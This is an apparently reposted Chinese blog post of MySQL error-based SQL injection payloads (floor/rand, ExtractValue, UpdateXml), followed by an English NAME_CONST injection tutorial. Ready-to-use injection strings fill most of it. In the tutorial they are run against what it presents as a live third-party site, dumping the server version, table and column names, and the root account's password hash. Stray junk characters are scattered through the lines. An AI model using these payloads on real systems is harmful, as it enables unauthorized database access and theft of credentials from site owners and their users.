mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
/ h( o- ~; `0 |/ X  g6 D首先进行正常查询：

mysql> select * from article where id = 1;
) r9 Q3 f6 h; \2 i5 J3 }: y6 |+—-+——-+———+
% u7 {3 z  v  P& w6 q; Z| id | title | content |
' u) f7 W- c5 C- ~: M# A$ Y% z; u+ ~+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
. j/ `$ u+ Q" I9 vERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
$ b' C, K+ h% |! l" ~/ g" Q例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
/ |/ N" d0 t. N) u6 H/ C测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
- H3 ~+ |" j7 [0 N0 OERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

$ ]. G4 T' C: G8 Y, v; j+ B1 o

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

9 G% h7 u4 a, _Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
: a% A( V$ T8 e. I0 M- M! t1 B7 d
! ]/ h8 s' ]3 l& P& Fhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

5 D( o# w; ?$ l# M% [3 rErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
4 h; A' t+ _0 J$ H, n* bIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

, @$ {8 }; R: W  H3 N$ U7 f* J
+ A( h7 X2 z& H9 P相关信息

. {* B1 O! K: `, Z( @NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)
2 v" L* K) @! z8 i
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)
9 C6 j+ h; r5 R+ z5 {
) |- M, L+ b  x% O. g

0 {! |( @! U2 U" {. C5 m1 L; A|---------------|
5 z( n% k: I$ u2 K' \& u|     TEST      |
|               |
# f4 ~' T* G* @$ o1 N; u|---------------|
|       1       |
7 j. T  ^! T! \0 F" w! P% t|               |
|---------------|
2 R+ @2 u: {( Z9 g


% a! D# k& M. K) e  a3 ~
. h4 P( J0 u% c% m1 D& chttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
* {* V1 \( I1 ^6 ?Intro to MySQL Variables

3 d/ Y# \; E9 L9 d8 H7 A: TOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
3 Z! s* o5 ~, H2 f- R
Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261



7 ]7 y! w' d: D+ m" H+ ~' W  _

Code:
: W+ r/ z% g! ~2 Y) Q) U& Cand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
* M# z: [* Q; E! N( D
% U, ?0 ]0 ^, J9 g1 T$ Z) C! u2 ~! F
( x- p# N& J0 VVAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

Let's try it out on my site..
2 ]8 Z- X$ [# D( B
9 S: o4 L! O) l7 e  ?7 N& VCode:
6 S9 k( V4 |  Bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Erroruplicate column name '5.0.27-community-nt'
4 y7 i" b. K3 D; G

7 E- I- e4 Z/ v$ p9 G- e: ^

" R7 N- K& Z3 f! T
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
' g4 S; u( F# Y; ]
+ @4 @. k4 ]& Q9 o0 oData Extraction

Code:
- o: k, ]5 r4 i3 y8 \# c+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
# |9 b9 @* ~# I% a

3 h8 D# P* X6 g6 ^We should get a duplicate column 1 error...
, }( j" {- c6 N/ s' J9 f1 ^
' |! o; m9 b+ xCode:
7 K% u. g- G8 P) U3 Vhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
# m, q1 _$ s7 y
& F' w* u) y+ v8 t2 W# e, HErroruplicate column name '1






* G2 _7 _- L5 j6 B4 N- U% nNow let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


( ?! s  e1 G' PLet's see if it works here, if it does, we can go on and finish the job.
# K, M; O2 }6 a
! x9 `: ~9 t0 H8 n- J- qCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Erroruplicate column name 'com_admanage
+ m% O) S% |& T9 r+ d



0 b% X% E1 v$ k6 @) F+ m" o: i

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
$ ]8 w# x2 N0 z8 g6 G) T9 |
Let's get the columns out of the user table..
% y+ `% o: C* f3 j- m
Code:
# W0 V* S) O$ F! O' `. W' k+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

. G) d9 k, X" c4 G6 k6 {* ^9 s
So mine looks like this, and I get the duplicate column name 'Host'.
9 G/ N7 n% ~6 W
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
2 B4 X; }  f! Z! f6 Y



+ G; \- M+ q( g9 I4 O/ C

! u; I5 a: z* g- o! N  N8 ~0 GWoot, time to finish this bitch off.

Code:
5 n5 M/ X8 ~) c. V2 I" C" j+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

6 G: L) ?5 ~! r1 d' @
So mine looks like this...

( e! {! B9 H2 t0 lCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

- H/ a8 Q, [# f
6 Q" O' t' S6 j+ q) u( o

+ r! c! _: y9 h0 U
$ [" ^3 z+ L$ D# q6 f, Z+ b
And there we have it, thanks for reading.
4 `  r' o. b$ I